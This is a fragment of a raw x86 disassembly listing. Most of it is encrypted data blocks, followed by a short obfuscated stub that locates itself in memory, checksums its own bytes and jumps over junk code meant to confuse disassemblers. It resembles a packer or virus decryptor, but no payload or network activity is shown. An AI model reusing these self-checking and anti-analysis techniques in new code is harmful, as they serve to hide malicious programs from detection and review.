		dd 2FC9A295h, 0FF528748h, 9669E567h, 0BA4A9FFAh, 3BA2F968h
		dd 0B6CD86F1h, 2154D8B8h, 248EE909h, 7AAFB264h,	5A95CF0Fh
		dd 0DF8A697Ch, 99AC569Bh, 45F395FFh, 0CFA4972Dh, 0A55280C9h
		dd 0F83B0FA8h, 58E9A31h, 4F7B52CEh, 0DFCFE0BBh,	0FF4A17FBh
		dd 0FF780BE6h, 8EA2B5C1h, 7094FDAFh, 444FE310h,	0CE7D1837h
		dd 7F26F17h, 75408197h,	4233D05Eh, 53CAB492h, 8EAD5B0Ch
		dd 31FC25D4h, 91CB8830h, 48889463h, 92DE6D77h, 6C6C8C4Fh
		dd 0C7081665h, 9C463A79h, 47627370h, 9CCEBB03h,	79A1A07Bh
		dd 10AEDADEh, 30C8F1DEh, 72624214h, 0B0B009F5h,	4F416E44h
		dd 6B3F7041h, 4F1A7C7Fh, 0CA1C359Dh, 48875669h,	18D58363h
		dd 2C5BA806h, 96F7063Dh, 611445A6h, 0F97C8CAh, 0EE321A6Ah
		dd 65AEED8Eh, 0D61FC2E3h, 0E8B1D959h, 0F7745661h, 13653AA3h
		dd 3821C512h, 4F0DDE96h, 8C8C93BAh, 0E830BF99h,	81FE3914h
		dd 0FDE44C1Eh, 150A4FBh, 0B9424222h, 410807B8h,	6CD37A1Fh
		dd 0D1C4BF80h, 622FEF6Ah, 42B83AC4h, 5D02165Eh,	5320F2A0h
		dd 23137B80h, 772F55DBh, 0EE039EB7h, 0FE4CD1h, 31D963A8h
		dd 0D8511428h, 0B859B2EFh, 35F7A099h, 0C7481D33h, 5D4100E1h
		dd 382E0143h, 936787F9h, 2DDDD4FEh, 0CB7AB1D7h,	1522086Eh
		dd 65674A7Ah, 28318881h, 33BBD344h, 1391B8B1h, 0C10A845h
		dd 0A7E17278h, 0F884A079h, 0F89007ADh, 0A474CBE4h, 5F1C3EFCh
		dd 0FAE15C3Ch, 554CB905h, 0D1CCACE8h, 37ACE77Fh, 0F8D0C8B5h
		dd 49053516h, 7F05434Eh, 462DE122h, 0FBD73205h,	0B06C1491h
		dd 3CAACBDh, 427556C9h,	628DD9E9h, 5AB6373Dh, 42F603A7h
		dd 45A4406Bh, 0AB2A493Bh, 0C1ABD527h, 6481AC40h, 6BCABDC8h
		dd 0D4E622F0h, 0C5FB4740h, 460BBE51h, 0E797D837h, 0F47ACAFBh
		dd 1DAFE0CFh, 9C9628C3h, 0DA8E44DBh, 7ED13A9Fh,	6096CB96h
		dd 0D66435A1h, 61F16EFCh, 423535Ah, 7D39CC59h, 69733074h
		dd 32C8A76Fh, 0BA0FBF1Ch, 55BA5045h, 6F25F803h,	213AEB32h
		dd 8DAE9737h, 89466A5h,	0DC15BBF0h, 0E80F0041h,	57293E04h
		dd 3EB2812Eh, 3C1503CCh, 9A3A6744h, 0D9B00406h,	9727209Ah
		dd 6DA62F16h, 204EFC06h, 3B506A66h, 0FB13E426h,	0BB2B1B3Fh
		dd 0DA3F2EBEh, 967E8DA9h, 0B3CD465Bh, 0B60D327Ch, 0F6980CE2h
		dd 588268B6h, 3CC141CDh, 7AC4C59Ah, 50222F66h, 76879562h
		dd 23FA8C6Dh, 34A9E35Ch, 0B2F0DE95h, 42000388h,	896E6F42h
		dd 0EA146C60h, 2051B542h, 553D8B80h, 7520FDAAh,	69916B77h
		dd 72EB1A4Ch, 5DF49A8Ch, 0BE9807A9h, 59DC9667h,	6A36AB8Ah
		dd 27542BD5h, 0B9C6DBBFh, 5F67DE2h, 0E6D94494h,	6EDBF0D5h
		dd 0F2477C7h, 0ECEE8A4h, 254CDABFh, 0E5E935B8h,	855F23D3h
		dd 0B336656Bh, 0E4FCBC1Ch, 3F257EDBh, 69C60DB6h, 6B25EFC1h
		dd 0E5466AA5h, 27DFAE0Fh, 36FC39E5h, 0B1F918F8h, 7DF317B0h
		dd 95412280h, 0CA305BC8h, 0D60DECB4h, 16F6DAE0h, 3F4F8E49h
		dd 0EF0CFB21h, 0CCFB2511h, 0F0B938B6h, 72CE7253h, 0B04F522Eh
		dd 8A8700BAh, 0CA07EDCEh, 0CC972E1Eh, 0C73B0199h, 23D38E55h
		dd 3FB16987h, 6E04D51Bh, 0E2D53495h, 942455F6h,	247D1C67h
		dd 0FCB905D9h, 9FC699A6h, 0E2215E46h, 8B4EE114h, 8360547Dh
		dd 0C3A154B7h, 4EB5A6D9h, 64AE407Eh, 0AE16A085h, 1E7DCC80h
		dd 7B716509h, 99B76C17h, 409781D2h, 4646521Dh, 344C4060h
		dd 9BB48815h, 25E9221h
		dd 9992F4EAh, 52032C99h, 1BAF4h, 8F6E3836h, 937D4435h
		dd 6AA01E7Fh, 0CC909B44h, 8B59F20Dh, 0C8E99A5Ch, 59F3BB39h
		dd 0A2D10C71h, 0CB412976h, 0FBEF98A0h, 3CC29A43h, 14553398h
		dd 0D750F34Fh, 41068F63h, 845FCCF2h, 0D026305Ch, 0F06AB477h
		dd 1D4EAAB4h, 0F539B871h, 67F98B12h, 1098F476h,	41616135h
		dd 0C171B0B0h, 497404A1h, 385A2682h, 8C399DB4h,	0F650BAE2h
		dd 6194FA72h, 69D919FEh, 0B6F6E403h, 0A6BB5817h, 7549BB07h
		dd 3703F05Eh, 84438B00h, 181F8A4Fh, 0D97EF2C5h,	777262E1h
		dd 3019E72Ah, 0F0942D8Fh, 0BE9B3E5Ah, 2C602725h, 0DD576138h
		dd 1A44F265h, 61D22380h, 0E09AAh, 0E2A689A4h, 5CCFB9EDh
		dd 63DDB0D1h, 0F3D6CBD4h, 0FF797A75h, 0D596F807h, 46AC21A1h
		dd 0F37E996Ch, 32488AF0h, 5D1ED6Dh, 0EE4EAE7Fh,	3A7ED70Dh
		dd 6A6C00CAh, 0DA6F7DA2h, 0A5892606h, 0B004AC39h, 0BC3DEA21h
		dd 821A02F7h, 0AD38EFB3h, 884B80A0h, 0FB063984h, 0B79EEAA2h
		dd 0A8882412h, 0D835E8BCh, 898917A4h, 0B1393706h, 5C0B4ED5h
		dd 0D158A1ADh, 0FF414577h, 9883B98Bh, 0FD7E8789h, 0CD17CF42h
		dd 3110B6C3h, 5093B7BCh, 2831F48h, 699DC948h, 0E899F970h
		dd 2E691391h, 96D94BA8h, 599D8915h, 0C67DB5A4h,	0B0858290h
		dd 0C1B4EFAFh, 47D91D8Eh, 928A9B7Ch, 7BABC769h,	9EF1DD0Fh
		dd 5FF0C5FCh, 0F6E15EC5h, 938E2195h, 5F35EA9Ch,	25BA8099h
		dd 0F1A271FCh, 662AD283h, 8E9BB5EAh, 5431AEDAh,	97DFF8CBh
		dd 75F4BAEFh, 0DC37F0A9h, 3A537B7Bh, 0A8FE35CDh, 0DCCC7C30h
		dd 78FDA0B4h, 0DAD60106h, 4DBAD09Ah, 0F10115BCh, 670C1EF9h
		dd 1F0F1EE9h, 0F5549597h, 864EB813h, 1CEEA1B9h,	0EE1FBA52h
		dd 51DB3BD5h, 0CC0E32DFh, 0DF0F6C9Bh, 341369D1h, 0B7E32AE4h
		dd 3C4EAA62h, 0A5E964BAh, 7F9916AAh, 0CC5357E8h, 8A11D41h
		dd 7D019275h, 0EBDB91FDh, 0EE9B7925h, 5E17A29Bh, 60BCE68Ah
		dd 5140BE88h, 0E6841D01h, 98CAF681h, 37D846A6h,	0B19410CCh
		dd 0E1BD718Fh, 0A933E9EEh, 0C0427E5Fh, 0B9511006h, 0C330FE9Ah
		dd 0E0034724h, 37DFAF16h, 720AC8B6h, 2414107Dh,	15C982E5h
		dd 253E78FFh, 1CE564D1h, 0DAF9113Ah, 0AF184D3h,	6051D848h
		dd 52D35007h, 0FD197FE7h, 0FA78958Bh, 0C489E0F4h, 0E9A6822Bh
		dd 0C9A8122Fh, 403E5D96h, 40D17DA0h, 0B8B932B4h, 708CF95Ch
		dd 910713EEh, 3C3A1EC6h, 0F3183DE8h, 4B9D7ED3h,	98C07194h
		dd 0A2846F2Ah, 3C699901h, 0D56160B6h, 0E16D1FCAh, 88B2AACCh
		dd 42105DCDh, 621D6C19h, 174CE955h, 9269F53Dh, 0DD78CCD2h
		dd 11ABF77Fh, 0AFA61616h, 4E7690D4h, 64F8730Dh,	0C7961C40h
		dd 2618E5CFh, 199E1252h, 0B1F998C2h, 2115512Ch,	256583ADh
		dd 999284A5h, 2F81F552h, 0E57A9AC9h, 0BCD44D64h, 5C2ADDD4h
		dd 0DE8120C3h, 0C356AD13h, 0B346C05Dh, 0B8109AB4h, 0C998B8D4h
		dd 56BFACF1h, 0AEB076BDh, 439B7627h, 0D5FF7865h, 43F781C3h
		dd 638E2696h, 4E85927Bh, 7B563E52h, 0AA4847D4h,	0CBC01094h
		dd 930FAADDh, 2F9DBAC5h, 0A715E0BBh, 62323D0Ch,	0AB5B2C05h
		dd 0C7BAFF35h, 62B31CE9h, 7ECC4468h, 0A32088F2h, 0BC0F848Dh
		dd 71E85377h, 1F5C00E2h, 322F05A7h, 0AB385526h,	7E649B12h
		dd 0A1391A76h, 0AC89C6A7h, 0C81B5E8Fh, 0C37A23E7h, 0E570C1A4h
		dd 0FD6F311h, 2E368B1Dh, 0F16064EDh, 47A896A5h,	0EAB032FAh
		dd 83DF572h, 0EFED185Bh, 10A41127h, 9E84BCA7h, 0C08F3A33h
		dd 0C3BC73F4h, 0F5B025F4h, 2D7272EFh, 5CCBCDAEh, 0A365844Fh
		dd 16140D47h, 3E904E64h, 74CADD09h, 0A3F0FB17h,	0E14FB794h
		dd 0A47EF8DEh, 1B57D4F4h, 24251CDAh, 3612C51Bh,	0D13B2DC4h
		dd 0B3F7F6D7h, 0CF91C8E1h, 3C0210A6h, 0C001283h, 9D20F784h
		dd 0EFF3414Bh, 84977F3Fh, 2EEB5FEAh, 0D27EBE59h, 0C66A2F17h
		dd 0A101EED6h, 2B8BEB1Eh, 9F8FE084h, 0B64C60C2h, 0DE9BFB77h
		dd 984F1D5Ch, 70C055BBh, 0C2A0DE4Eh, 43D9060Fh,	0B7ECF643h
		dd 500AA304h, 0B36EC368h, 8179FE24h, 1D14DF2h, 8B96BF3Bh
		dd 4B260DE4h, 0C1DF7E31h, 0C4EF5254h, 94B8137Dh, 505BD3F6h
		dd 70092247h, 9242F9B9h, 153FD34Ah, 0DA29B9F7h,	45545C87h
		dd 0CE41E763h, 45BFFE29h, 6D767BD8h, 0A5F5D2Fh,	84A17C9Bh
		dd 0E946C59Bh, 4E374CD8h, 0D4EED04Ch, 7B8ADDCCh, 1D852AF7h
		dd 18447F97h, 6064CD71h, 5DC31B71h, 0E215395Eh,	47DCBA72h
		dd 481DA516h, 4635B22Bh, 17DA0322h, 943AC87Dh, 0ABBD3915h
		dd 0A73EEDB4h, 18FD8D8Fh, 0CE9C2AC5h, 33612D3Bh, 316B7C32h
		dd 0E9CC1611h, 757113BDh, 66B2B250h, 727D58C6h,	46D19E2Fh
		dd 72BB8189h, 5F4B0894h, 8173EC1h, 71317B85h, 0F30B719Eh
		dd 98CDDCBDh, 0A16A187Dh, 0CC2D1F93h, 0C34FBCF5h, 4655B7B1h
		dd 86E93A79h, 466061ADh, 0D98AA9B5h, 0D07CDE78h, 53B4DFD5h
		dd 20337D9Ah, 0FC77D4B1h, 0F2283EFEh, 0EE0A2C60h, 0B9151BF5h
		dd 0B50E6FA7h, 6C1F80EFh, 21329782h, 0CAF83A0h,	0EF4BF759h
		dd 0C6C0EC3Bh, 67AF0507h, 2A2B0467h, 0C640109Ch, 748B67E6h
		dd 4AE2BAB8h, 9CA0106Dh, 9B173C67h, 0B09CC313h,	1EED6E3Ch
		dd 0F01E9EBh, 0D8D1E509h, 0AF4A5BE3h, 0C8E9BDC0h, 0BF71DB4Dh
		dd 3FD4320Ah, 7CA2CAE5h, 60C90FF4h, 439858A4h, 0AB185DC0h
		dd 81B1122Dh, 0F5BC41Bh, 0ACF6BAE0h, 20BA9AFAh,	1BB068B7h
		dd 0D58E3F61h, 0BE251B13h, 0F44341BAh, 5614F5D7h, 3E28EFDBh
		dd 0C0E7E299h, 1B0C2AC0h, 40DE560Dh, 291DCF2Ch,	2E19E7E5h
		dd 143F8DA5h, 0C6C55E96h, 1A70CC61h, 0B6010083h, 61F62449h
		dd 0B0235C78h, 0BB020879h, 0B6EA0F6h, 0AB1E81B7h, 346BE355h
		dd 0D438B0BFh, 4EE1188h, 548ABFE4h, 0B4F3F8BFh,	0B50243AEh
		dd 63A55465h, 0DB99F7CAh, 0F8C1FDF4h, 7510C576h, 1C71B24Fh
		dd 108AED0Ah, 0A8E44BA4h, 7B5D4120h, 0DC4EC853h, 37575237h
		dd 4D8419E0h, 0AD474F46h, 4A026B71h, 0E92D4C38h, 0B64B8516h
		dd 0FB5CB42Ah, 0FE9B2686h, 4128362Fh, 63608777h, 0A8AC1026h
		dd 0E60733A0h, 0B8003AF2h, 64324A3Ah, 0E8FDC571h, 0C44C7122h
		dd 0D264F10Fh, 0F8CDA4B7h, 814D4B72h, 0B97DE365h, 9E158429h
		dd 9D21FCD1h, 0C97E04A8h, 90628F9Bh, 0A2033AA3h, 256A72B4h
		dd 13DAE1D6h, 88CEADADh, 61649754h, 12EC51E8h, 0D470B58Bh
		dd 357962CBh, 0A88AAEE2h, 0FC283780h, 891E6AD4h, 4219DD0Ch
		dd 224E27F7h, 7644ED44h, 903DF123h, 0F525AA4Fh,	27819AA9h
		dd 8773AB91h, 8ED8A152h, 0FB6EEF88h, 9C6252B1h,	8987B40Fh
		dd 94116B59h, 4035E558h, 0C885D8E5h, 9CCA890Dh,	68FB4992h
		dd 2483B59Ah, 0A1C31399h, 349A2D65h, 0A72B651Bh, 720E99BBh
		dd 7314DE71h, 0DDB9CE8Bh, 7EEB4FE9h, 6A1B9441h,	0A610EDB9h
		dd 8B8869D7h, 7EFEBC32h, 0A2F93504h, 0AD89B033h, 45066AEAh
		dd 10FF5548h, 49ADD6C3h, 0DE23EBBEh, 843408Dh, 0D88EBB53h
		dd 922CAF5h, 91854050h,	0F2D198BFh, 6D66574Eh, 0AF016B62h
		dd 2C1718BFh, 7F97731Ah, 0C6B3C9FFh, 7086F468h,	0C31EA6F5h
		dd 47D7A84Eh, 0A6C9CAA2h, 7EBA0DA2h, 0FB06B25Fh, 454E7459h
		dd 37C800D7h, 0FD8AE9C3h, 0DDBEC254h, 0F1272B98h, 75CE6B97h
		dd 0FD553A9Ah, 1DD90132h, 4B1EAD56h, 777E03BBh,	0C5747C37h
		dd 0A6122C87h, 70073314h, 0E931F834h, 41EB29B0h, 0E9EBD225h
		dd 0FC5AC3Dh, 75E60835h, 0FEF1CBEh, 791CFF62h, 0C281FD9h
		dd 0DD129306h, 3D3035CCh
		dd 0FCCC4A92h, 63BC7DCCh, 0F565E01Ah, 0BB439704h, 0E5780243h
		dd 0F9F4DCBEh, 0FF2EC686h, 0B0D2CB9Bh, 4E7738A1h, 0B1BBA867h
		dd 0E8EED889h, 1018CB25h, 5004C6D8h, 0DB110DF2h, 6A25F494h
		dd 8D228B17h, 0A305B3A6h, 500360E3h, 1C2EC52Eh,	910E0337h
		dd 5CD00BBAh, 0C0C238FFh, 0AE9F3EEFh, 0AE1B8894h, 0BFB45013h
		dd 1F8DAF7h, 55A94D44h,	2BE00E40h, 0F18FBDFFh, 7A7BCBCFh
		dd 0A07F6E25h, 11656F2Ch, 7727966Fh, 0B2CD1DE9h, 0DB968D2h
		dd 0C2DABF72h, 882835A0h, 30C83CECh, 812E9038h,	1CA7E9A5h
		dd 0AA8E5631h, 58C141A9h, 0C7EDE642h, 97754D1Dh, 55B9CD4Bh
		dd 0B9A4EF0Fh, 63D63E42h, 138DD49Dh, 9DA5F079h,	15C720DDh
		dd 300AFF50h, 8D0992ECh, 0D4B62FA9h, 0EDD8589Ch, 9CA07F18h
		dd 52A4EAD4h, 2A71E958h, 94D74658h, 69D489F7h, 977EF62Ah
		dd 0A424615Dh, 3BBF6F9Eh, 4932D8A8h, 0FE70C140h, 954B0E4Bh
		dd 0BF88759Bh, 44DE5C94h, 71EDD058h, 69F3F165h,	66F868C8h
		dd 58A0FC0h, 3EAF0974h,	23B7A2F7h, 0BDFF5BC4h, 7B151657h
		dd 9C13A28h, 0DA6E0CA3h, 7F82F779h, 0F73B902Eh,	0EAA8B8E0h
		dd 0D780DC97h, 93F47DBBh, 7767DA0Fh, 5FA5A585h,	40F26223h
		dd 5FCA12F5h, 0A628D1DAh, 0B45B00B6h, 0CE06DC5Ah, 8114C6D3h
		dd 0A0F0537Fh, 7901488Dh, 0F97C2CEBh, 0AD554A36h, 2FD1A3ACh
		dd 0A0255B44h, 1961C65h, 0A8C6D9EEh, 0C73A189Ah, 0FB481CCFh
		dd 98EA10FBh, 7407B8D6h, 754E6665h, 4ABC6CB8h, 77961h
		dd 967AA4C9h, 6945D049h, 0BD7B6A18h, 40435417h,	1499807Fh
		dd 0FFC8C588h, 97EAD6DAh, 61F7C0DBh, 0D0C5EA92h, 5D77C0A7h
		dd 0DE6F9253h, 27B1454Bh, 4960722Ch, 77DD3CA9h,	0DFA0875Dh
		dd 8F560688h, 59284B8Dh, 0B367DFB0h, 8942E5B4h,	44664629h
		dd 39852F89h, 67AC13E5h, 5F2EFAEEh, 2A4CAF86h, 1A0AC636h
		dd 0C8E29969h, 2408A07Fh, 0E6356C9Eh, 1F7C2FB4h, 0B9AE3186h
		dd 9841124Bh, 41B43F07h, 16CB424Eh, 3F78D1F1h, 26969F6Fh
		dd 2AA16E20h, 7AA1FC6Ah, 92D1561Eh, 3E3A43CAh, 97021D9Bh
		dd 0FC8717AAh, 3CB7F22Bh, 25255A6Fh, 0F4B49FC1h, 0C0E45E95h
		dd 62778C6Ch, 3F1E109Ah, 7580D4ACh, 535D4C51h, 78FCDEDEh
		dd 0F2243B82h, 0D192D77Fh, 10688C5Ch, 0CB7414C9h, 992EC5F4h
		dd 6BF5440Eh, 60A2F595h, 4B5F80B8h, 0A12D6954h,	56BB370Eh
		dd 0C70A4538h, 3B185E84h, 3D5ECEFEh, 0B98CDC9Dh, 1430341Ah
		dd 0A089DE1Ch, 58B6A3B0h, 89B26D31h, 6BE28B6Ch,	0CFC87B2Ch
		dd 6F8AA21Eh, 6BF59E3Dh, 461F3B28h, 0AE5D6109h,	0E26B0527h
		dd 22F19921h, 6EEE2641h, 7166B70Bh, 0F4C3547Fh,	0D643E483h
		dd 6E7EDCB1h, 929364C3h, 3C6A6C93h, 9DF3ACD8h, 0A319AD4Fh
		dd 7AAEB155h, 50483BDEh, 9BCA6540h, 77717513h, 423B5298h
		dd 6B187BB6h, 0E2EB469Ch, 0D283A90h, 0EF46F9B4h, 0ADA7D2A9h
		dd 691A79EFh, 4162E66Fh, 743C8BF5h, 0EF464D8Dh,	58276AC5h
		dd 31CFD0E9h, 0E82DBDE0h, 0C81613B8h, 2727EBD7h, 0A6189955h
		dd 2F7CD771h, 5103F872h, 6D857773h, 0DBA6926Fh,	326714E8h
		dd 7198E5ACh, 55D74DA4h, 1AB484D5h, 0D0B15997h,	965E5053h
		dd 0D2103695h, 0C44AB240h, 0B73F8F7Dh, 5864A483h, 9FA8C886h
		dd 9B453C63h, 0FC9E79EDh, 66307852h, 5616C207h,	3D59DB09h
		dd 0F2C05548h, 6E98EFF4h, 346AC525h, 2A86C9h, 9B39BF82h
		dd 31D702CBh, 36B48429h, 935ED569h, 18C7A2F9h, 6B0C05A7h
		dd 0F8DD1A0Fh, 3F362FBh, 0A54CAD7Bh, 9086FA0Dh,	803A23BEh
		dd 0D2FF103Eh, 70AA6FBBh, 0EA037AD9h, 5AC88693h, 40929222h
		dd 33AD915Dh, 0C1369841h, 0B43A7364h, 0C3E7C141h, 7869FD61h
		dd 202EF247h, 832FA33Ch, 517FBF05h, 0D81B1988h,	0EEE0BCC8h
		dd 4BFACD31h, 364AA23Fh, 53C5B5D8h, 0FCDAAB15h,	8A8BDC5Ch
		dd 868722EDh, 0C4C8536Ch, 0A79E4333h, 0C0C242DBh, 0A3ECD14Ch
		dd 83BDBD8Eh, 0BE882ECCh, 781B622Dh, 2A6B17BBh,	29B22A29h
		dd 80260D48h, 5634AE6Ah, 0B142BDCEh, 0B6DE5231h, 0BC3B9526h
		dd 0AEFF6BCAh, 7E5F224Bh
		db 67h,	3Bh
; ---------------------------------------------------------------------------


loc_46D59E:				; CODE XREF: DMN1:loc_46E1C3j
		popa
		pop	ebp
		jmp	loc_46BC00
; ---------------------------------------------------------------------------
		cdq
		adc	[esi], esp
		jns	short loc_46D5FC
		xchg	eax, ebp
		pop	esp
		jmp	short loc_46D5D5
; ---------------------------------------------------------------------------
		dw 4B1Bh
		dd 17D54DB9h, 0A0F02464h, 2028C471h, 0CB14C68Dh, 62E36894h
		dd 255A4501h, 5E3FDD2Ch, 82024154h, 0AF00D525h
		db 0BDh
; ---------------------------------------------------------------------------


loc_46D5D5:				; CODE XREF: DMN1:0046D5ACj
		call	near ptr 0F0E8C83h
		hlt
; ---------------------------------------------------------------------------
		db 91h
		dd 82FA09B0h, 12A6B999h, 7D18FDDFh, 0AB7E904Ch,	98DD239Fh
		dd 8959425Ah, 0EF50E9C6h, 810ABECAh
; ---------------------------------------------------------------------------


loc_46D5FC:				; CODE XREF: DMN1:0046D5A8j
		out	0F9h, eax	; AT 80287 data.
					; 286 sends opcodes & operands and receives results.
		aad	6Bh
		sub	[esi+0D6F046Dh], ch
		dec	esi
		jmp	far ptr	0EDCFh:0C8AFE544h
; ---------------------------------------------------------------------------
		dw 0BAF8h
		dd 67E04137h, 6A3D9809h, 1F0680C2h, 838E8357h, 0EA3639F0h
		dd 81DC5DF4h, 2D3DFD87h, 52480B86h, 0D7B70BCCh,	0E9B4A0C8h
		dd 0A15478Bh, 0B2E08B6Bh, 532C64Bh, 4E643888h, 0FC01FAACh
		dd 4D208663h, 2CBB2565h, 0E67E4CB7h, 0C9D80313h, 71F10BABh
		dd 0DF97E11Ch, 0DCAF2967h, 29A12F6Eh, 8FA7A89Bh, 9BFAE0C4h
		dd 4FCE9186h, 1A89BAA6h, 3C2AAD76h, 9420368Ch, 7518A7Ch
		dd 0AA71DD1Ch, 1970B609h, 0A3429BCEh, 2766473Ah, 8D0156BEh
		dd 2820813Dh, 88AC05D1h, 0E2CE3AA9h, 0C016B93Dh, 83B44182h
		dd 0C56F9BEFh, 5615C219h, 4AB043Ch, 67C4850Dh, 0C8EEC024h
		dd 6F5B9ED4h, 7E24F971h, 4570D5B5h, 3659BF43h, 0EDC771C8h
		dd 34FA9E23h, 68A33DD2h, 5E4E172h, 546E5BBBh, 0AEE6AE96h
		dd 34FEC8E8h, 870822BAh, 30EA1AC4h, 1BFAD399h, 452C302Fh
		dd 0B73E658h, 7517910Fh, 2B9472FCh, 3605396Bh, 0BB49A12Eh
		dd 431D1987h, 0A8DD4F7Bh, 0A3DF445Bh, 0AC7F54CEh, 29D86FF9h
		dd 0D4828D41h, 9C09D5B6h, 0C0ED2182h, 7511780Bh, 423F46ADh
		dd 0FB851D01h, 12B9FBB7h, 0CCC92A4Fh, 7859E623h, 7784EF42h
		dd 0AD0FDBE3h, 393B8321h, 0BBCBA3CCh, 0E9FC54F1h, 5D64163Ah
		dd 0ABBA68BCh, 0EA825779h, 54D6A502h, 79E99FFBh, 5C6E5DD8h
		dd 0D152D710h, 716089F5h, 0A2FCDE40h, 0BCFDBD14h, 460B091Ch
		dd 4AC9A90Ch, 89C2FC1Dh, 0E4CC9D07h, 0A8DBE2BAh, 0A8127AD8h
		dd 87D08279h, 1087FB11h, 4C84C1Ah, 11A2DA9Fh, 4908D5A4h
		dd 550CB2F6h, 9E140651h, 0EFE015DDh, 0BCD64095h, 0A113D364h
		dd 57564C34h, 0C4A809ABh, 80CBDBADh, 0C544DCBFh, 80E457D4h
		dd 892F39C1h, 6A59BC6Eh, 0D96E0AD8h, 3E96F4D5h,	0EE6F9EAAh
		dd 7293507h, 0CE3AD05Eh, 0C677ABBCh, 0A5279856h, 0B91B9B2Eh
		dd 0D39A3B71h, 0F3FCF945h, 0A6437FCAh, 0DF9DC299h, 47F5741Dh
		dd 73BC5651h, 4CB5B210h, 0EE545EE6h, 0B412804Eh, 2E739785h
		dd 23E0275h, 7264925Eh,	0E9BC5C7h, 0E25DFFF4h, 0D6FA16DAh
		dd 4CE4FD9h, 0ABF83D9Ch, 3F0621DBh, 0E69B01C9h,	0F2315C49h
		dd 41348F8Eh, 88B382EFh, 921B597Ch, 0AB54C0DCh,	0E5CDAE79h
		dd 66485B01h, 7D54AC40h, 6508DFACh, 0AF4B9778h,	0F55F6E3Eh
		dd 0AADA887Dh, 0B30E3FC2h, 0F91A1D2Dh, 0E384496Dh, 1AFDF54Bh
		dd 3DF63E16h, 3D533A83h, 8DA848B6h, 6E846Ch, 1E476763h
		dd 0D3F79B07h, 79E153D2h, 0A570F5C1h, 0E72F901Dh, 72EAFFDAh
		dd 0A2DC1636h, 9D16B1B0h, 10B3DF05h, 0FFA2CC7Fh, 0C0525869h
		dd 0D53CDD92h, 89768784h, 6DF58D21h, 5FDB4087h,	390E5FECh
		dd 3BBCB5Bh, 1549B8A4h,	3851B46Bh, 0CA14023Ah, 4A3C7493h
		dd 0D0AE38EDh, 22A8DAFAh, 0BCE33B8Eh, 668B3BBDh, 0FDBB3096h
		dd 5A2DB5A6h, 92292CCAh, 0F3391D2Ah, 630029AFh,	40D5E8B6h
		dd 73D544FAh, 0A5F14AD8h, 0DA96DDE1h, 0E8BA2AADh, 93572CBFh
		dd 2F9A3276h, 0B9454063h, 0A9649DA1h, 36375396h, 3B34ED2Bh
		dd 873155h, 8CC5E377h, 77E6A2B6h, 8CAF4416h, 514DECDCh
		dd 96DBF0Dh, 0FEDBC061h, 0CCAD8B3Bh, 0E69BB22Bh, 9A9EEDB3h
		dd 0B821BDh, 824A221h, 92C79E10h, 367CB3DDh, 74CACAC3h
		dd 6598B0Fh, 0BAAF3638h, 86D5C934h, 785AE167h, 0D089D924h
		dd 0AF7F87Ch, 0CBFE3E46h, 0D4C8623Dh, 547654C9h, 36DA4FFFh
		dd 0C9ECF3E3h, 0AA50364Ah, 0EF6FB79Dh, 50E95846h, 0DDBBBFB4h
		dd 89518C45h, 0CB0C9E1Dh, 76EDF863h, 6F1A11A9h,	6AB17EAAh
		dd 50288DF3h, 45331AF6h, 0A4EF91BBh, 23225D26h,	0B28F4DDh
		dd 4D2840B6h, 0A58AFF6Eh, 0CFF26F46h, 88E6B796h, 0C98A57Dh
		dd 503BD18Eh, 5FFC4FDAh, 3A3890BAh, 0ADD9F9F1h,	3A90E820h
		dd 0EB216E8Ch, 0FAF87F0Ah, 7A926199h, 1A3CE301h
; ---------------------------------------------------------------------------
		cli
		mov	ch, 8Bh


loc_46DA1F:				; CODE XREF: DMN1:0046E1CAj
		push	ebp
		mov	ebp, esp
		call	$+5
		pop	ebp
		sub	ebp, 6DA27h
		pusha
		mov	esi, 6DA1Fh
		add	esi, ebp
		mov	edi, 7A9h
		push	ebx
		push	ecx
		push	edx
		push	esi
		push	edi
		cld
		xor	ecx, ecx


loc_46DA43:				; CODE XREF: DMN1:0046DA92j
		dec	ecx
		mov	edx, ecx
		push	ebx


loc_46DA47:				; CODE XREF: DMN1:0046DA70j
		xor	eax, eax
		xor	ebx, ebx
		lodsb
		xor	al, cl
		mov	cl, ch
		mov	ch, dl
		mov	dl, dh
		mov	dh, 8


loc_46DA56:				; CODE XREF: DMN1:0046DA69j
		shr	bx, 1
		rcr	ax, 1
		jnb	short loc_46DA67
		xor	ax, 8320h
		xor	bx, 0EDB8h


loc_46DA67:				; CODE XREF: DMN1:0046DA5Cj
		dec	dh
		jnz	short loc_46DA56
		xor	ecx, eax
		xor	edx, ebx
		dec	edi
		jnz	short loc_46DA47
		pop	ebx
		not	edx
		not	ecx
		mov	eax, edx
		rol	eax, 10h
		mov	ax, cx
		pop	edi
		pop	esi
		pop	edx
		pop	ecx
		pop	ebx
		push	eax
		xchg	esi, esi
		jmp	short loc_46DA99
; ---------------------------------------------------------------------------
		mov	bl, 53h
		jl	short loc_46DADD
		sbb	ecx, [ebx]
		sar	byte ptr [ecx+36h], 1
		jnp	short loc_46DA43
		sbb	al, 62h
		add	esi, edx
		sahf


loc_46DA99:				; CODE XREF: DMN1:0046DA87j
		jmp	short loc_46DAB6
; ---------------------------------------------------------------------------
		db 59h
		dd 8E395761h, 0E65035FCh, 18C97F6h, 0E41EBA43h,	50E7677Ah
		dd 0F8D381EFh
		db 8Eh,	90h
; ---------------------------------------------------------------------------


loc_46DAB6:				; CODE XREF: DMN1:loc_46DA99j
		mov	ebx, 41000h
		bswap	edi
		jmp	short loc_46DACB
; ---------------------------------------------------------------------------
		db 59h
		dd 0F91ACE66h, 8F7EE39h
		db 0DBh, 0Bh, 2
; ---------------------------------------------------------------------------


loc_46DACB:				; CODE XREF: DMN1:0046DABDj
		jmp	short loc_46DAE6
; ---------------------------------------------------------------------------
		dec	esi
		test	eax, 1CB36B5Fh
		dec	esi
		mov	byte ptr [edi+2F61E8D6h], 0A0h
		pop	esp
		dec	eax


loc_46DADD:				; CODE XREF: DMN1:0046DA8Bj
					; DMN1:loc_46DADDj
		jg	short near ptr loc_46DADD+1
		cld
		inc	eax
		xchg	eax, edi
; ---------------------------------------------------------------------------
		dw 0B73Bh
		db 76h,	0A2h
; ---------------------------------------------------------------------------


loc_46DAE6:				; CODE XREF: DMN1:loc_46DACBj
		jmp	short loc_46DB00
; ---------------------------------------------------------------------------
		dd 94BE320Ch, 4DEA6AF2h, 0DDFE1901h, 959333Eh, 0E430F504h
		dd 4A515BE5h
; ---------------------------------------------------------------------------


loc_46DB00:				; CODE XREF: DMN1:loc_46DAE6j
		neg	esi
		jmp	short loc_46DB23
; ---------------------------------------------------------------------------
